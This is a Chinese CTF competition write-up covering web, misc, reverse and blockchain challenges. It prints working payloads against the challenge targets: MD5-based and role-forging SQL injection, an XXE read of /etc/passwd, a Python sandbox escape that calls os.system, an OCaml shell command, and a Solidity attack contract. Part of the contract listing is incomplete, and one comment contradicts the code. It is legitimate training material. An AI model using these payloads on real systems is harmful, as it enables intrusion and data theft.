扫码领资料
获网安教程
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
难度:简单
WEB
welcome_to_zkaqctf
靶场给出了app.js,分析js代码
const {promises: fs} = require('fs');const fastify = require('fastify');const flag = process.env.FLAG || 'zkaq{do_you_believe_this_is_flag?}';const app = fastify();app.get('/', async (_, res) => { res.type('text/html').send(await fs.readFile('index.html'));});app.post('/', (req, res) => { if (typeof req.body === 'object' && req.body[flag] === true) { return res.send(`OhoUhOu~ flag is ${flag}`); } return res.send(`emmmmmmmwmwmwmwm NO...`);});
在第一个if判断中,要求用户的输入为object 对象类型,并且该对象的属性flag要为true,由于我们不知道真正的flag是什么,因此第二个条件使用flag作为键名来查找对应的键值结果会是undefined,所以req.body[flag]=undefined ,undefined===true为false,而直接return NO。
而在JS中,typeof null
返回 object
,因此当 POST 请求体是 null
时,typeof req.body === 'object'
成立,这使得程序继续执行,进入到判断逻辑中。当 req.body 为 null 时,访问 req.body[flag] 会发生原型链查找,null 的原型链是 Object.prototype,所以在访问 null[flag] 时,JavaScript 引擎会尝试在 Object.prototype 上查找 flag,然后通过报错带出flag
本题也可以通过试探做出来:
正常传入为No
将传参删除发现报错:
Body cannot be empty when content-type is set to 'application/json'
那么到这里可以尝试换content-type或直接删除content-type
科目四
本题改自安恒之前的一道CTF题,考点是一样的,考的前端的断点调试,AES解密也可。
一种解法是:
直接浏览器F12,在源代码中可以看到aes加密,提取字典c,然后通过map将p7等字符串对应的值提取出来,使用join拼接,再使用AES解密,因此根据源代码写出解密代码再运行即可。
exp by 小队:去码头捞捞薯条
<html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>AES Decryption Test</title> <!-- 使用最新版本的CryptoJS --> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.js"></script></head><body> <h1>Test AES Decryption</h1> <button onclick="decrypt()">Decrypt</button> <script> function decrypt() { const c = { p7: "U2Fs", p3: "dGVk", p11: "X18/", p2: "t7E+", p9: "7zQl", p4: "G9eB", p1: "PkJo", p8: "aNil", p13: "HFDK", p6: "YpMu", p10: "X50l", p5: "6T8/", p15: "XGTi", p12: "S0PR", p14: "uK1x", p16: "7qc3", p19: "ZP0v", p17: "T85/", p20: "BvsK", p18: "YIxp", p21: "L7cG", p22: "wUO5MZrAF55bg2QlNBpeEbU=", p23: "ZKAQCTF{", p24: "thik", p25: "do_y0ru", p26: "true_1s_false?", p27: "hhhhs", p28: "yeahyeahyea", }; try { const t = [ "p7", "p3", "p11", "p2", "p9", "p4", "p1", "p8", "p13", "p6", "p10", "p5", "p15", "p12", "p14", "p16", "p19", "p17", "p20", "p18", "p21", "p22" ].map((key) => c[key]).join(""); const n = "ZKAQCTF{try_hack_it_hhh}"; // 使用CryptoJS来进行AES解密 (CBC模式和PKCS7填充) const decrypted = CryptoJS.AES.decrypt(t, n, { mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); const decryptedText = decrypted.toString(CryptoJS.enc.Utf8); console.log("Decrypted Text: ", decryptedText); } catch (e) { console.error("decrypt error!", e); } }</script></body></html>
另一种解法是:
将所有题目随便选,然后到最后得到考试结果,然后全局搜索关键字,再通过下断点的方式,使程序运行到输出flag的函数,然后调用该函数将flag输出(或者有一变量e 为true / false决定了程序是执行到“合格”或“不合格”):
调用d()函数出flag。
诗和远方
点击我是乘客
提示需要出示车票
F12查看源代码可看到提示:
这里调用pay接口来检查用户的权限,抓包看到是通过JWT鉴权:
这里给的权限是乘客的JWT,并且给出了JWT的sign
通过响应我们可以看到,需要的是司机的权限,因此我们可能需要伪造司机的JWT才能解题,而伪造司机的JWT则需要获取司机的sign,并且从上面的提示得知,kid作为了SQL查询的一部分,这很容易联想到SQL注入,但它这里对kid在查询之前还进行了md5加密,并提示中还给出为了方便将md5作为16进制传入查询,因此万能密码是不同于常见的' or '1'='1,这里的万能密码是ffifdyop
。ffifdyop经过md5计算后值为276f722736c95d99e921722cf9ed621c
,作为16进制字符串在sql语句中执行时会转义成'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
,因此sql语句将变成类似如下的永真语句,实现sql语句MD5绕过。
select * from 'admin' where password='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
secret: conductor_key_514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e
再通过司机的sign伪造JWT发包即可获得flag。
另一个解:129581926211651571912466741651878684928,原理一样。
参考资料:https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
为了部落!
打开网页时一片空白
随意拼接访问,触发报错,并确认是django框架,并且得到了路由信息
依次访问路由:
当访问/foobarbaz时,要输入账号密码
此处可尝试进行注入,随意输入正常用户名 、单引号,在响应中报错:
You provided invalid credentials.
输入双引号:
Unexpected Exception: Invalid predicate
接着构造闭合
" or 1=1 or "1"="1
,提示
WWW-Authenticate: Basic realm=devs_only err=Your username is 'bernd' and your role is 'inactive', but 'admin' role required. 需要admin身份。
因此更改注入语句为" or role="admin" or "1"="1
,注入成功来到页面
通过观察页面功能,发现右上角有注册用户和登录用户功能,那么尝试注册一个用户:
抓包观察注册用户数据包发现有一个传参role,联想到前面注入中的role
尝试注册一个role为admin的用户,提示:role只能为user 和 dev
因此注册一个dev账户,进入后,在首页/foobarbaz/pizza/list中查看源代码发现注释了一个兵种:弓箭女皇,
而在you orders /foobarbaz/order/list的源代码中还发现一处注释为:
提示需要购买下弓箭女皇,而查看我们的账户余额为200,而在Arms功能中,dev账户可以创建兵种,并且your orders存在下单购买兵种功能,因此,我们是否可以利用逻辑漏洞,创建一个-2000的兵种,然后通过购买这个兵种来实现自己的余额达到2000呢:
接着我们就可以去下单购买隐藏在注释中的兵种弓箭女皇 Archery Queen了,注意空格的URL编码:
购买成功后,自动跳转到了一个新的界面:
F12查看源代码发现一个form表单
禁用样式将表单显现出来
随意输入内容抓包查看,是xml格式,提交后,会生成对应的页面展示
尝试XXE
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Arms>
<video>test</video>
<details>%26xxe%3B</details>
</Arms>
提示flag在flag文件中,读取flag即可。
MISC
misc1-签到
随言随语编码,直接在线网站解密即可:http://1o1o.xyz/sbzlcode/sbzlcode.html
来一杯tea
题目直接给出了源码:
import ast
def safe_import():
print("Look! this guy is using imports!???O.o")
def safe_call():
print("Look! this guy is using calls!???o.O")
class XiTiAiFu(ast.NodeTransformer):
def visit_Call(self, node: ast.Call) -> ast.AST:
return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])
def visit_Import(self, node: ast.AST) -> ast.AST:
return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_Assign(self, node: ast.Assign) -> ast.AST:
return ast.Assign(targets=node.targets, value=ast.Constant(value=0))
def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))
something = input('good morning guy,Do you need something:').splitlines()[0]
box = ast.parse(something)
box = XiTiAiFu().visit(box)
ast.fix_missing_locations(box)
exec(compile(box, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})
代码的基本逻辑是:创建一个pythonAST沙箱,禁用导入语句、函数调用、赋值操作和普通二元运算,用户的输入被重写到safe_import和safe_call,因此本质上考的是python沙箱逃逸。
exp:
for safe_call.__globals__["ast"].sys.modules["io"].RawIOBase.__class_getitem__ in [safe_call.__globals__["ast"].sys.modules["os"].system]:pass;{eee:=safe_call.__globals__["ast"].sys.modules["io"].RawIOBase};eee["cat flag92398U2938YR892Y3928392Y93.txt"];
黑客传奇:两小时
打开题目,最明显的提示就是这个 OCaml version 4.13.1
因此直接查 OCaml是一门编程语言,因此这里主要考察的是通过 OCaml这门语言来获取flag:
Sys.command "cat ./secret/c/t/f/flag-00yournotfindme00.json";;
hello discord
题目是一个discord邀请链接,加入discord群组后,根据提示just say helpme to bot pythondis,私聊机器人pythondis
使用helpme命令私聊机器人,会出现另外两个选项 ,porg / source
通过source命令可获取源代码:
通过源代码分析,在porg命令中,使用了SQL查询,很明显的SQL注入:
因此SQL注入即可得到flag:
code:
import disnakefrom disnake.ext import commandsimport sqlite3import osfrom dotenv import load_dotenvload_dotenv()connection = sqlite3.connect("porgs.db")cursor = connection.cursor()bot = commands.Bot(command_prefix=commands.when_mentioned)intents = disnake.Intents.default()class Porg: def __init__(self, data): (self.id, self.name, self.age, self.fav_color, self.image) = data@bot.eventasync def on_ready(): print('Bot is up!')@bot.command()async def helpme(ctx): if not isinstance(ctx.channel, disnake.DMChannel): await ctx.send("young gus,tell me your wish.") return await ctx.send(""" helpme - when your have any problems,just say helpme~ porg <name> - Find your cue friends ~ source - Get my source code ??? """)@bot.command()async def source(ctx): if not isinstance(ctx.channel, disnake.DMChannel): await ctx.send("young gus,tell me your wish.") return src = disnake.File('code.zip') await ctx.send("Here's my source code!", file=src)@bot.command()async def porg(ctx, *, name: str): if not isinstance(ctx.channel, disnake.DMChannel): await ctx.send("young gus,tell me your wish.") return query = f"SELECT * FROM porgs WHERE name LIKE '{name}'" print(query) try: cursor.execute(query) results = cursor.fetchall() except Exception as e: ctx.send("Error:", str(e)) return if len(results) == 0: await ctx.send(f"No found your friends with name {name}") return result = results[0] porg = Porg(result) if ('..' in porg.image): await ctx.send("NO NO NO too young!") return print(porg.name+'\n'+porg.image+'\n'+str(porg.age)+'\n'+porg.fav_color+'\n') img = disnake.File(os.path.join('/home/runner/DescriptivePoisedFibonacci/images/', porg.image)) display = disnake.Embed(title=porg.name, color=0x2545d1) display.add_field(name="Name", value=porg.name, inline=True) display.add_field(name="Age", value=porg.age, inline=True) display.add_field(name="Favorite Color", value=porg.fav_color, inline=True) display.set_image(file=img) await ctx.send(embed=display)bot.run(os.environ['TOKEN'])
题目用的是在线托管环境https://replit.com/ ,我的账号试用期到期了,想复现的师傅可以使用在线托管环境进行复现。
参考资料:discord机器人部署教程:https://www.youtube.com/watch?v=SPTfmiYiuok
REVERSE
wait sometime
这里直接借用 去码头捞捞薯条 小队的wp了,写的比我详细[憨笑]。
PE检查
IDA64打开,查看主函数中的noting,分析其逻辑都是打印一些程序加载的东西,没有什么用
找到关键函数pringflags,并且发现,程序没有运行此程序
分析上述逻辑,调用十几个对key操作的函数,并对所给数据进行加密,既然是正向的,直接让程序帮我们出就行了
远程调试程序
劫持IP让程序运行到这段程序
获得flag
easy sol
拿到题目之后, 放在Remix中运行
发现有如下函数
调用getFlag函数,会返回说flag被销毁, 让我们修好他被销毁的flag
并给了我们被销毁后的flag:
118,93,81,248,107,39,179,34,83,115,0,36,244,38,34,135,35,40,117,7,38,246,39,31,179,112,34,70,6,81,199,227
继续查看, 发现destroyFlag 函数,
这个函数输入一个byte32类型的字节数据, 经过一系列处理后, 返回
这里应该就是题目所说的被销毁的过程
这里的逻辑相对还是简单的
首先根据 byte32 以及for循环的次数,能够确定flag是32位的
每位字节按照顺序
第3i位的字节会加上随机数数组中的第 i % 9 位
第 3i + 1 位的字节会与randomArray中的 i%9位进行异或运算
第 3i +2 位的字节会减去randomArray中的 i%9
随后, 在处理过后, 在加上后一个数
最后的数字加上首位数
根据这个原理, 我们写一个逆向脚本, 这里有一个小坑, 每次的flags会加上后一位flags[i+1], 但是flags[i+1]还没有被写入, 所以是0, 也就不需要先减去flags[i+1]了
这里的randomArray只是示例, 我们还需要去逆向destroyKey函数
这里要注意每个步骤结束后需要模256才可以
因为Solidity中的代码是用uint8来进行定义的
如果发生了相加大于255或相减小于0的时候会发生溢出
destroyKey函数中定义了参数token, 值为时间戳的末尾, 这里可以爆破0-9
这里 nowTime = salt
salt是区块链上的状态变量
由setSalt函数设置
从区块链上获取了当前时间
下面的while循环
将当前时间戳按位存储到了matrix数组中
每次循环会将nowTime的值减少一个最高位(以十进制为基)
这里最后matrix[0]加的就是nowTime的个位
下面的函数temp=token
循环9次,
其中内联的Yul汇编代码是求temp的平方
也就是token的平方
然后将这一位加到matrix上
加完之后, matrix的这一位会与前一位进行异或运算
最后, 第0位与最后一位进行异或运算
最后这段
里面就是做了一个不断转置的过程
将matrix作为初始矩阵
求matrix的转置矩阵
将转置后的第i位添加到最终的randomArray中
形如:
最后的randomArray第一个数是转置矩阵的,第二个数是初始矩阵的,第三个是转置,第四个是初始, 以此类推.
写出相应的逆向脚本, 这里temp的值需要等到最后结合上上面的对flag逆向的脚本进行爆破, 由于是时间戳的最后一位, 所以其值在0-9
完整exp:
# 1 复原矩阵
now_time = [[23, 50, 18], [147, 16, 24], [85, 21, 16]]
matrix = [[0 for _ in range(3)] for _ in range(3)]
for i in reversed(range(3)):
for j in reversed(range(3)):
now_time = [[row[i] for row in now_time] for i in range(len(now_time[0]))]
# print(now_time)
matrix[i][j] = now_time[i][j]
print("原矩阵:", matrix)
matrix = [element for row in matrix for element in row]
print(matrix)
matrix[0] ^=matrix[8]
temp_lis = []
temp = 7
for i in range(8):
temp = pow(temp, 2) % 256
temp_lis.append(temp)
# 加减token, 异或逆向的复原
for i in reversed(range(1,9)):
matrix[i] ^= matrix[i-1]
matrix[i] -= temp_lis[i-1]
matrix[i] = matrix[i] % 256
print(matrix)
dflags = [109, 104, 91, 108, 121, 91, 63, 96, 98, 58, 50, 92, 62, 52, 93, 61, 98, 44, 63, 54, 91, 104, 54, 45, 66, 99,
93, 59, 50, 48, 61, 236]
randomArray = matrix
dflags[-1] -= dflags[0]
dflags[-1] -= randomArray[31 % 9]
for i in reversed(range(len(dflags) - 1)):
if i % 3 == 0:
dflags[i] -= randomArray[i % 9]
elif i % 3 == 1:
dflags[i] ^= randomArray[i % 9]
elif i % 3 == 2:
dflags[i] += randomArray[i % 9]
dflags[i] %= 256
print(dflags)
flag = ''
for i in dflags:
flag += chr(i)
print(flag)
BlockChain
美梦成真
这题有两种解法:
第二种解法 by 小队 roko,直接看到公众号 ChaMd5安全团队 的文章:https://mp.weixin.qq.com/s/hnSph_wHGw1U3awXYCmzJA
第一种解法:
考点:interface的利用,view关键字
我们先解析源代码,其中 end_challenge 是为了防止flag泄露而设置的,故此处删去不作解析:
// 外部合约接口
interface Wish_Maker {
function wish_amount() external view returns (uint256);
// 一个只能外部调用的,不允许改变自身状态变量的函数,返回值为一个uint256
}
// 主合约
address public owner;
mapping(address => bool) public started;
mapping(address => uint256) public wishes;
mapping(address => bool) public wish_made; // 看似无用,但是非常关键
function start_challenge() public {
require(
started[tx.origin] == false,
"Can't start challenge when it's open."
);
started[tx.origin] = true;
wishes[tx.origin] = 1;
// 为挑战者开启挑战,设置其可许愿次数为1
}
// 判断外部合约请求的愿望数是否<1(其实就是是否为0)
wish_made[tx.origin] = true;
}
// 需要先开启挑战且愿望数>0才能调用该函数
function wish_making() external challenge_started remains_wish {
Wish_Maker wish_maker = Wish_Maker(msg.sender); // 利用接口引入外部合约
bool is_less_than = false;
if (wish_maker.wish_amount() < 1) { // 第1次调用外部合约的wish_amount()
is_less_than = true;
}
// 修改是否许过愿
if (is_less_than) {
wishes[tx.origin] = wish_maker.wish_amount(); // 第2次调用外部合约的
wish_amount()
// 如果上面的判断为真,就将挑战者的愿望数修改为外部合约请求的愿望数
} else {
wishes[tx.origin]--;
// 否则就将挑战者的愿望数-1
}
// 看起来这个函数想仿照检查-修改-交互模式保证安全,但是好像弄巧成拙了...?
// 需要开启挑战才能调用该函数
function regret() external challenge_started {
wishes[tx.origin] = 1;
wish_made[tx.origin] = false;
// 重置愿望数以及是否许过愿
}
function is_solved(address addr) public view returns (bool) {
return wishes[addr] > 1 ? true : false;
// 题目要求愿望数>1
}
首先很明显,我们需要首先调用start_challenge开启挑战然后才能继续下面的操作,接下来我们就需 要让wishes变成大于1的数 如果Wish_Maker接口的函数没有被view修饰,那么我们的外部攻击合约可以这样写:
bool called = false; function wish_amount() external returns (uint256){ if(called){ // 题目合约第2次调用该函数 return 11037; // 返回一个大于0的值以完成对wishes的修改 } else{ // 题目合约第1次调用该函数 called = true; return 0; // 返回0以让is_less_than为真 } }
这样我们就可以将wishes修改为11037,但是实际情况是我们有个view,而它不允许函数修改合约的 状态变量,而上面的攻击合约在函数内修改了状态变量called,因此直接使用上面的代码是行不通的
当然经过上面的解析,我们也能发现我们只需要做到这一点:第1次被调用wish_amount()的时候返回 0,第2次被调用的时候返回一个大于0的数就可以了,而做到这点我们需要一个能够参考的东西,这个东 西在第1次被调用后,第2次被调用前这段时间内发生过变化,这样我们就可以根据它产生的变化进行判 断,最后根据它返回不同的值了
view只是阻拦了我们攻击合约的状态变量的改变,但是如果题目合约就有状态变量发生改变了呢?那么 这个状态变量不就可以为我们所用了吗?
查看题目合约,发现两次调用中间还真有个wish_made发生了变化,因此我们只需要将这个作为参考就 可以完成攻击了
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./DCT.sol"; contract Attack{ Make_a_wish public make_a_wish; constructor(address _make_a_wish){ make_a_wish = Make_a_wish(_make_a_wish); // 导入实例 } function attack() public{ make_a_wish.start_challenge(); make_a_wish.wish_making(); } function wish_amount() external view returns(uint256){ return make_a_wish.wish_made(tx.origin) ? 11037 : 0; // 第1次调用时,wish_made为false,返回0 // 第2次调用时,wish_made为true,返回0 }}
本地链测试一下:
经典结尾
【easy sol】出自 君叹,【美梦成真】出自 9C±Void,其他题目有向其他大大小小的CTF赛题借鉴而来,在此对各位师傅以及前辈们表示诚挚的感谢,同时,也感谢支持本次赛事的领导和同事,以及感谢参与本次比赛的各位同学们,感谢你们的支持,最后,感谢观看!
附上top25名单:
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力